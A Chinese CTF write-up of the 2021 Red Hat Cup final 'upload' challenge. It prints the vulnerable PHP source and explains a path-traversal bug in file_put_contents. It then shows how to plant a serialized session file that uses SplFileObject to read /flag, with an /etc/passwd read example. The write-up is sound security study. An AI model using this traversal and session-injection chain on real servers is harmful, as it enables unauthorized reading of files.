2021红帽杯决赛upload

2021红帽杯决赛upload

有3个文件。

class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
session_start();

function red($fileinfo){
foreach($fileinfo as $key => $value){
$path = $value;
$name = $key;
}
echo "<a style='color:#ff6347' href='$path'>$name</a>\n";
return $name;
}

function green($fileinfo){
foreach($fileinfo as $key => $value){
$path = $value;
$name = $key;
}
echo "<a style='color:#32cd32' href='$path'>$name</a>\n";
return $name;
}
class file{
public $path;
function __construct($path)
{
$this->path = $path;
}
function __toString()
{
return basename($this->path);
}
}

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
<?php

include('class.php');
if(!(isset($_SESSION['func']))) {
$_SESSION['func'] = 'showfile';
}
if(!(isset($_SESSION['files']))) {
$_SESSION['files'] = array();
}
if(!(isset($_SESSION['paths']))) {
$_SESSION['paths'] = array();
}

if(isset($_POST['filename'])&&isset($_POST['content'])){
if(stristr($_POST['filename'], 'h')){
die('no h!');
}
$filepath = './files/'.$_POST['filename'];
$filename = basename($_POST['filename']);
file_put_contents($filepath,$_POST['content']);
$_SESSION['files'][$filename] = $filepath;
$_SESSION['paths'][$filepath] = 'file';
header('Location:/?file='.$filename);

}
?>
<!DOCTYPE html>
<html>
<head>
<title>upload</title>
</head>
<body>
<div>
<h3>upload your file below</h3>
<form action="index.php" method="post">
<input type="text" name="filename" value="filename" style="width: 600px;">
</br>
</br>
<textarea type="text" name="content" style="width: 600px;height: 300px;" ></textarea>
</br>

<input type="submit" value="submit">
</form>
<h4>beatiful front</h4>
</div>
<?php
if(rand(0,2)>1){
$showfile = 'red';
}
else{
$showfile ='green';
}
$filelist = array();
foreach ($_SESSION['paths'] as $path=>$class){
$temp = new $class($path);
if($class=='file'){
$filelist[] = (string)$temp;
}
else{
$filelist[] = $temp;
}
}
$out = '<p>your file:';

foreach ($filelist as $value){
$out .= $value.' ';
}
echo $out.'</p>';

if(isset($_GET['file'])){
if(isset($_SESSION['files'][$_GET['file']])) { //GET方法读取文件名,从session的文件名字里面寻找

$pathinfo = array($_GET['file']=>$_SESSION['files'][$_GET['file']]);
${$_SESSION['func']}($pathinfo);
}
else{
echo 'no such file!';
}
}
?>
</body>
</html>

info.php

1
2
<?php
phpinfo();

https://img-blog.csdnimg.cn/98ea8060ff844993854567c99c8b5997.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5p6X5LiA5LiN5pivMDE=,size_20,color_FFFFFF,t_70,g_se,x_16

这里能够让用户填写文件的文件名和内容,然后提交,提交的文件正常情况下会保存在./files目录下,看一下后台是怎么对文件进行操作的:

1
2
3
4
5
6
7
if(isset($_POST['filename'])&&isset($_POST['content'])){
if(stristr($_POST['filename'], 'h')){ // 对文件名有h字符的进行过滤
die('no h!');
}
$filepath = './files/'.$_POST['filename']; // 这里可以目录穿越
$filename = basename($_POST['filename']); // basename()函数获取文件名字
file_put_contents($filepath,$_POST['content']);

通过分析可以发现我们上传的文件存在目录穿越的问题,我们能通过filename=../xxxx这种方式将文件保存的路径穿越到服务器的任意路径下,但是由于存在对文件名h字符的过滤,因此无法直接传一个php文件到网站根目录下执行,得另寻僻径。

SplFileObject

SplFileInfo 类为单个文件的信息提供了一个高级的面向对象的接口,可以用于对文件内容的遍历、查找、操作等。详情请参考:https://www.php.net/manual/zh/class.splfileobject.php

该类的构造方法可以构造一个新的文件对象用于后续的读取。

我们可以像类似下面这样去读取一个文件的一行:

1
2
3
<?php
$context = new SplFileObject('/etc/passwd');
echo $context; // 输出 root:x:0:0:root:/root:/bin/bas

但是这样也只能读取一行,要想全部读取的话还需要对文件中的每一行内容进行遍历:

1
2
3
4
5
<?php
$context = new SplFileObject('/etc/passwd');
foreach($context as $f)
{echo($f);
}

session反序列化

那么我们知道了这个类之后有什么用呢,似乎找不到可以用的地方啊,想想文件中是不是还有一个文件我们都没用上,其中必然藏有解题的关键。

1
2
3
$_SESSION['files'][$filename] = $filepath;// 将带有路径的文件名字作为键,文件路径作为值    
$_SESSION['paths'][$filepath] = 'file';// 将文件目录作为键,'file'作为值
header('Location:/?file='.$filename);}

这里把文件的名字和路径都存到了SESSION里面,但是我们能够看到$_SESSION['paths'][$filepath]的值是被写死了,我们无法控制,然后接着往下看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$filelist = array();
foreach ($_SESSION['paths'] as $path=>$class){ // 将每一个文件的路径赋值给$path,将'file'赋值给$class
$temp = new $class($path); // 相当于new file(文件的路径)
if($class=='file'){ // 存在$class不等于file的情况吗????
$filelist[] = (string)$temp; //将返回的文件名赋值给列表
}
else{
$filelist[] = $temp;
}
}
$out = '<p>your file:';

foreach ($filelist as $value){
$out .= $value.' '; //从列表中读取输出文件名
}
echo $out.'</p>';

分析了一波,利用file_put_contents 方法,参数没有进行过滤,存在目录穿越。那我们可以通过目录穿越写 session 文件了。

phpinfo查看session配置信息

1
session.save_path ="/tmp"   --设置session的存储路径,默认在/tmpsession.auto_start = 0   --指定会话模块是否在请求开始时启动一个会话,默认为0不启动session.serialize_handler = php   --定义用来序列化/反序列化的处理器名字。默认使用php

接着就是构造我们的SESSION序列化后的文件

1
<?phpsession_start();$_SESSION['paths']["/flag"] = 'SplFileObject';//得到//paths|a:1:{s:5:"/flag";s:13:"SplFileObject";} 将这个结果作为content即index.php 内容较多,不过分析了一波,首先映入眼帘的是 file_put_contents 方法,参数没有进行过滤,存在目录穿越。那我们可以通过目录穿越写 session 文件了。

这里的键为/flag对应代码中的$path,值为SplFileObject对应$class,组合起来就是SplFileObject('/flag')。然后文件名需要目录穿越到/tmp/sess_[SSID的值]

当然也可以自己设置sessid

根据实际位置跳目录写入到session目录下sess_test,然后再设置Cookie: PHPSESSID=test

https://img-blog.csdnimg.cn/2cfe653fd68c4b75a9b1323b9c6b8875.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5p6X5LiA5LiN5pivMDE=,size_20,color_FFFFFF,t_70,g_se,x_16

注意paths前面是没有分号;

参:https://tari.moe/2021/07/30/2021hmb-offline/

https://johnfrod.top/ctf/2021-红帽杯-决赛-upload/

https://mp.weixin.qq.com/s?__biz=MzUzMDUxNTE1Mw==&mid=2247488846&idx=1&sn=4d660e262a8ba2c5b6b33a373988a9b5

[https://mp.weixin.qq.com/s?__biz=MjM5Njc1OTYyNA==&mid=2450777968&idx=1&sn=f86ed7b60df926332d592a63b0bd3344](

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!

扫一扫,分享到微信

微信分享二维码
  • Copyrights © 2021-2023 Wh1tecell
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~